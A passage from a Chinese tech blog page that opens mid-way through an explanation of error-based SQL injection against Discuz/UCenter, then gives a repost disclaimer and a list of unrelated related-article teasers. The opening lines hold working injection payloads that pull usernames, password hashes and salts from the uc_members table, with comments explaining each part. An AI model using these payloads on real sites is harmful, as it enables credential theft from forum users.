    //从 cdb_members 表中选取第一条用户名和密码记录,并将用户名和密码连接在一起,其中 0x27 是单引号(')的十六进制表示。
    
    
  • Array ( [0] => 7 [1] => \ [2] => ) and (select 1 from (select count(*),concat((select concat(username,0x3a,password,0x3a,salt) from ucenter.uc_members limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# )
    //从 ucenter.uc_members 表中获取第一条用户记录,将用户名、密码和盐值连接起来,其中 0x3a 是冒号(:)的十六进制表示。
  •  and (select 1 from (select count(*),concat((select concat(username,0x3a,password,0x3a,salt) from ucenter.uc_members limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'
    //floor(rand(0)*2)):将获取到的用户名、密码和盐值与一个随机数(0或1)组合起来,为了制造唯一性。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1852907.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

im即时通讯软件系统,私有化部署国产化信创适配安全可控

私有化部署IM即时通讯软件系统是许多企业为了确保数据安全、控制隐私保护、提升灵活性而考虑的重要选择之一。信创适配安全可控是企业在私有化部署IM即时通讯软件系统时需要关注的关键点。本文将探讨私有化部署IM即时通讯软件系统的意义、信创适配的重要性&#xff0c;以及如何…

张宇1000题太难?这么刷只要30天就能吃透!

1000题真的难&#xff0c;一刷正确率不高是正常的&#xff01; 我不建议再继续去刷880题&#xff0c;因为继续开始做新题并没有太大的意义&#xff0c;老问题不解决&#xff0c;做新题的效果其实并不好。 如果一刷1000题正确率不高&#xff0c;我们应该反思为什么会这样&…

Java基础之练习(2)

需求: 键盘录入一个字符串,使用程序实现在控制台遍历该字符串 package String;import java.util.Scanner;public class StringDemo5 {public static void main(String[] args) {//录入一个字符串Scanner sc new Scanner(System.in);System.out.println("请输入一个字符串…

【JAVA】精致的五角星

输出的这幅图像中&#xff0c;一颗精致的金色五角星跃然于深红色背景之上&#xff0c;绽放出迷人的光彩。 要绘画这颗五角星&#xff0c;首先要了解五角星的构造和角度问题。我们可以分为内五边形&#xff0c;和外五边形。内五边形从他的中心到每个外点&#xff0c;连接起来&am…

Day28:回溯法 491.递增子序列 46.全排列 47.全排列 II 332.重新安排行程 51. N皇后 37. 解数独

491. 非递减子序列 给你一个整数数组 nums &#xff0c;找出并返回所有该数组中不同的递增子序列&#xff0c;递增子序列中 至少有两个元素 。你可以按 任意顺序 返回答案。 数组中可能含有重复元素&#xff0c;如出现两个整数相等&#xff0c;也可以视作递增序列的一种特殊情…

设计模式学习之——单例模式

文章目录 单例模式什么叫做单例模式单例模式的动机 单例模式的引入思考 饿汉式单例和懒汉式单例饿汉式单例懒汉式单例 单例模式总结1&#xff0e;主要优点2&#xff0e;主要缺点3&#xff0e;适用场景 单例模式 什么叫做单例模式 顾名思义&#xff0c;简单来说&#xff0c;单…

(南京观海微电子)——TFT LCD压合技术

TFT-LCD TFT-LCD open cell后段制程主要指的是将驱动IC和PCB压合至液晶板上&#xff0c;这个制程主要由三个步骤组成&#xff1a; 1.ACF (Anisotropic Conductive Film)的涂布。 在液晶板需要压合驱动IC的地方涂布ACF&#xff0c;ACF又称异方性导电胶膜&#xff0c;特点是上下…

如何看待鸿蒙HarmonyOS?

鸿蒙系统&#xff0c;自2019年8月9日诞生就一直处于舆论风口浪尖上的系统&#xff0c;从最开始的“套壳”OpenHarmony安卓的说法&#xff0c;到去年的不再兼容安卓的NEXT版本的技术预览版发布&#xff0c;对于鸿蒙到底是什么&#xff0c;以及鸿蒙的应用开发的讨论从来没停止过。…

贪心算法——最少跳跃步数(C++)

未来&#xff0c;未来。 ——2024年6月17日 题目描述 给定一个含n&#xff08;1≤n≤1000&#xff09;个非负整数数组nums&#xff08;0≤nums[i]≤1000&#xff09;&#xff0c;数组中的每个元素表示在该位置可以跳跃的最大长度&#xff0c;假设总是可以从初始位置0到达最后一…

网络文化经营许可证(文网文)办理全面讲解

随着互联网时代的飞速发展&#xff0c;互联网早已渗透到人们的生活中&#xff0c;各类直播、短视频成为大家生活娱乐必不可少的一部分。注册一家从事互联网行业的企业是一个不错的选择。那互联网企业需要办理什么证件资质呢&#xff1f;在互联网行业从事盈利文化活动必须持有网…

红队内网攻防渗透:内网渗透之内网对抗:横向移动篇WinRS命令WinRM管理RDP终端密码喷射点CrackMapExec

红队内网攻防渗透 1. 内网横向移动1.1 内网横向移动方法分类1.2 WinRM&WinRS1.2.1 利用条件1.2.1.1 探针可用1.2.1.2 连接执行1.2.1.3 CS上线利用1.2.1.3.1 反向连接上线1.2.1.4 CS内置模块1.2.1.5 其他解决1.3 RDP1.3.1 探针连接1.3.2 连接执行1.3 CrackMapExec-密码喷射1…

vue3封装菜树,递归展示只显示第一层

问题描述 vue3封装菜树&#xff0c;递归展示只显示第一层 解决 需要在递归的组件中导出自己给自己使用

搜索引擎数据库介绍

搜索引擎数据库的定义 搜索引擎数据库是一类专门用于数据内容搜索的NoSQL数据库&#xff0c;是非结构化大数据处理分析领域中重要的角色。搜索引擎数据库使用索引对数据中的相似特征进行归类&#xff0c;并提高搜索能力。通过对索引和检索过程的优化&#xff0c;以处理大量文本…

【进阶篇-Day5:JAVA常用API的使用(Math、BigDecimal、Object、包装类等)】

目录 1、API的概念2、Object类2.1 Object类的介绍2.2 Object的toString()方法2.3 Object的equals()方法2.4 Objects概述 3、Math类4、System类5、BigDecimal类6、包装类6.1 包装类的概念6.2 几种包装类&#xff08;1&#xff09;手动转换包装类&#xff1a;&#xff08;2&#…

Java项目:基于SSM框架实现的人事管理系统【ssm+B/S架构+源码+数据库+开题报告+毕业论文】

一、项目简介 本项目是一套基于SSM框架实现的人事管理系统 包含&#xff1a;项目源码、数据库脚本等&#xff0c;该项目附带全部源码可作为毕设使用。 项目都经过严格调试&#xff0c;eclipse或者idea 确保可以运行&#xff01; 该系统功能完善、界面美观、操作简单、功能齐全…

RocketMQ 和 Kafka 关于消息队列的推拉模式是怎么做的?

引言&#xff1a;在当今的大数据和分布式系统中&#xff0c;消息队列扮演着至关重要的角色&#xff0c;它们作为系统之间通信和数据传输的媒介&#xff0c;为各种场景下的数据流动提供了可靠的基础设施支持。在消息队列的设计中&#xff0c;推拉模式是两种常见的消息传递机制&a…

自制HTML5游戏《贪吃蛇》

一、游戏简介 贪吃蛇是一款经典的电子游戏&#xff0c;最早在1976年由Gremlin公司推出&#xff0c;名为"Blockade"。游戏的玩法简单却富有挑战性&#xff0c;玩家控制一条蛇在封闭的场地内移动&#xff0c;通过吃食物增长身体&#xff0c;同时避免撞到自己的身体或场…

webpack处理html资源11--webpack入门学习

处理 Html 资源 1. 下载包 npm i html-webpack-plugin -D 2. 配置 webpack.config.js const path require("path"); const ESLintWebpackPlugin require("eslint-webpack-plugin"); const HtmlWebpackPlugin require("html-webpack-plugin"…

图解注意力

图解注意力 Part #2: The Illustrated Self-Attention 在文章前面的部分&#xff0c;我们展示了这张图片来展示自注意力被应用于正在处理单词"it"的一层中&#xff1a; 在本节中&#xff0c;我们将看看这是如何完成的。请注意&#xff0c;我们将以一种试图理解单…

JAVA期末复习2

目录 一、Java基础知识 1. 下面几个标识符中&#xff0c;哪些是命名正确的 (A) 2. 分析以下代码&#xff0c;哪些是合法的 (C) 3. 以下代码的执行结果是&#xff08; B &#xff09; 4. 下面哪个不是java中的关键字&#xff1f;&#xff08; B &#xff09; 5. 下面对数组…